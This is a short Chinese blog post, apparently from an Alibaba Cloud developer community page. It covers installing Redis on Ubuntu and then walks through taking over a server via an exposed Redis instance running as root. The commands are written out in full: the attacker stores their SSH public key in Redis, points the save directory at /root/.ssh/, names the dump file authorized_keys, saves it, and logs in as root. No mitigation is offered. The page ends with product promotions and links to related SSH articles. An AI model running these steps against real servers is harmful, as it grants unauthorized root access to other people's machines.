redis与ssh-keygen

本文涉及的产品
云数据库 Redis 版,标准版 2GB
推荐场景:
搭建游戏排行榜
云原生内存数据库 Tair,内存型 2GB
简介: 在ubuntu上安装是非常方便的,两个命令就行了。$sudo apt-get update$sudo apt-get install redis-server若是redis-cli命令出现redis 127.0.0.1:6379>,则安装成功了如何根据Redis和ssh入侵入侵服务器。

在ubuntu上安装是非常方便的,两个命令就行了。

$sudo apt-get update

$sudo apt-get install redis-server

若是redis-cli命令出现redis 127.0.0.1:6379>,则安装成功了


如何根据Redis和ssh入侵入侵服务器。原理上并不复杂,只是利用的规则有点苛刻:

1. redis要暴露在公网上

2. 嗯ssh进程也得开

3. Redis要是以root的权限启动的。(这个命令就是以root权限启动的(端口随便填):redis-server --port 6369)


先在本地建个ssh的秘钥

ssh-keygen -t rsa

cd ~/.ssh/

然后将公钥写入文本中(文本还可以有路径,比如说/tmp/1.txt)

前后空两行,公钥的内容就不会跟redis的内容混在一起了

(echo -e "\n\n";cat ~/.ssh/id_rsa.pub;echo -e "\n\n")>1.txt

然后把里面的内容设置到远程的redis服务器上,设置key为233

cat 1.txt | redis-cli -h xxx.xxx.x.xx -p 6379  -x set 233

远程连接一下

redis-cli -h xxx.xxx.x.xx

修改保存的路径

xxx.xxx.x.xx :6379> config set dir /root/.ssh/

xxx.xxx.x.xx :6379> config get dir

修改保存的名称

xxx.xxx.x.xx :6379> config set dbfilename "authorized_keys"

保存

xxx.xxx.x.xx :6379> save

SAVE 命令执行一个同步保存操作,将当前 Redis 实例的所有数据快照(snapshot)以 RDB 文件的形式保存到硬盘。

远程利用自己的私钥登录该服务器。

ssh -i id_rsa root@xxx.xxx.x.xx

相关实践学习
基于Redis实现在线游戏积分排行榜
本场景将介绍如何基于Redis数据库实现在线游戏中的游戏玩家积分排行榜功能。
云数据库 Redis 版使用教程
云数据库Redis版是兼容Redis协议标准的、提供持久化的内存数据库服务,基于高可靠双机热备架构及可无缝扩展的集群架构,满足高读写性能场景及容量需弹性变配的业务需求。 产品详情:https://www.aliyun.com/product/kvstore     ------------------------------------------------------------------------- 阿里云数据库体验:数据库上云实战 开发者云会免费提供一台带自建MySQL的源数据库 ECS 实例和一台目标数据库 RDS实例。跟着指引,您可以一步步实现将ECS自建数据库迁移到目标数据库RDS。 点击下方链接,领取免费ECS&RDS资源,30分钟完成数据库上云实战!https://developer.aliyun.com/adc/scenario/51eefbd1894e42f6bb9acacadd3f9121?spm=a2c6h.13788135.J_3257954370.9.4ba85f24utseFl
目录
相关文章
|
3月前
|
安全 Linux Shell
Linux中SSH命令介绍
Linux中SSH命令介绍
|
1月前
|
安全 Linux 网络安全
在Linux中,如何配置SSH以确保远程连接的安全?
在Linux中,如何配置SSH以确保远程连接的安全?
|
1月前
|
安全 Linux Shell
SSH 命令完整实用指南 | Linux SSH 服务
【8月更文挑战第20天】
144 0
|
1月前
|
安全 Linux Shell
如何在 Linux 服务器上配置基于 SSH 密钥的身份验证
如何在 Linux 服务器上配置基于 SSH 密钥的身份验证
38 0
|
1月前
|
Linux 网络安全 数据安全/隐私保护
Linux——配置SSH免密登录
Linux——配置SSH免密登录
30 0
|
2月前
|
安全 Ubuntu Linux
记录一次Linux服务器被人使用SSH字典爆破
曾经我以为互联网到至今应该是很和平的状态,但是经历了这次ssh字典爆破攻击后我才意识到网络攻击无处不在,建议系统密码使用比较复杂的随机字符组合,七八十位都没问题,数据可贵,电脑该装杀毒软件的就装上,别因为那占用那点内存而舍弃杀毒软件,防网络攻击于未然 !
|
3月前
|
网络协议 Linux 网络安全
Linux配置SSH允许TCP转发
Linux配置SSH允许TCP转发
|
3月前
|
安全 Linux Shell
【Linux基础】SSH登录
安全外壳协议(Secure Shell Protocol,简称SSH)是一种加密的网络传输协议,可在不安全的网络中为网络服务提供安全的传输环境。 SSH通过在网络中建立安全隧道来实现SSH客户端与服务器之间的连接。 SSH最常见的用途是远程登录系统,人们通常利用SSH来传输命令行界面和远程执行命令。
64 6
|
3月前
|
Shell Linux 网络安全
Linux怎样在使用ssh 链接时就指定gcc 的版本
Linux怎样在使用ssh 链接时就指定gcc 的版本
38 7
|
3月前
|
监控 安全 Linux
【权限维持】Linux&OpenSSH&PAM后门&SSH软链接&公私钥登录
【权限维持】Linux&OpenSSH&PAM后门&SSH软链接&公私钥登录